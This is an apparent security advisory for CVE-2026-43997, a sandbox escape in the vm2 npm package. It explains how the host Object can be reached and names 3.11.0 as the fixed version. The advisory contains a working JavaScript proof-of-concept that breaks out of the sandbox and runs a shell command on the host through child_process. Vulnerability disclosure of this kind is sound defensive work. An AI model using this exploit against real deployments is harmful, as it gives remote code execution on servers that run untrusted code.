CriticalGHSA-47x8-96vw-5wg6CVE-2026-43997

vm2 Access to Host Object Enables Sandbox Escape

Published 7 May 2026 · Updated 14 May 2026

Affected package

vm2npm
Affected
<3.11.0
Fixed in
3.11.0
Update to the fixed version for your release line, for example:npm install vm2@3.11.0

Details

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

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References

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